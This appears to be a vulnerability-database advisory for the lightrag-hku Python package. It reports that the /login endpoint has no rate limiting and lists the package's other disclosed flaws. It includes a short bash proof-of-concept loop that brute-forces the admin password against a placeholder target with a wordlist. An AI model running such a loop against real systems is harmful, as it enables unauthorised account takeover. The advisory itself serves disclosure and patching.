Critical

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

Disclosed: 22.09.2026
Updated: 11.10.2026 15:18

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

python

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

bash

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Python (PyPI)	lightrag-hku	< 1.5.5	1.5.5

References

CVSS score 9.1/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE): CWE-307
Platform: Python (PyPI)
Package: lightrag-hku
Disclosed: 22.09.2026
Updated: 11.10.2026 15:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-4062 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-frch-4w6v-q5xx - CC BY 4.0

Vulnerability history: lightrag-hku

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (10) in the archive

Total entries: 10
First → latest: 06.2025 09.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 3
High 2
Medium 5

Disclosures per year

2025: 1
2026: 9

22.09.2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

High · 7.1 CVE-2026-85740 < 1.5.5 1.5.5
22.09.2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks this entry

Critical · 9.1 CVE-2026-85734 < 1.5.5 1.5.5
20.07.2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical CVE-2026-61740 < 1.5.4 1.5.4
20.07.2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

Critical · 9.3 CVE-2026-61736 < 1.5.4 1.5.4
04.04.2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

High · 7.5 CVE-2026-30762 < 1.4.13 1.4.13

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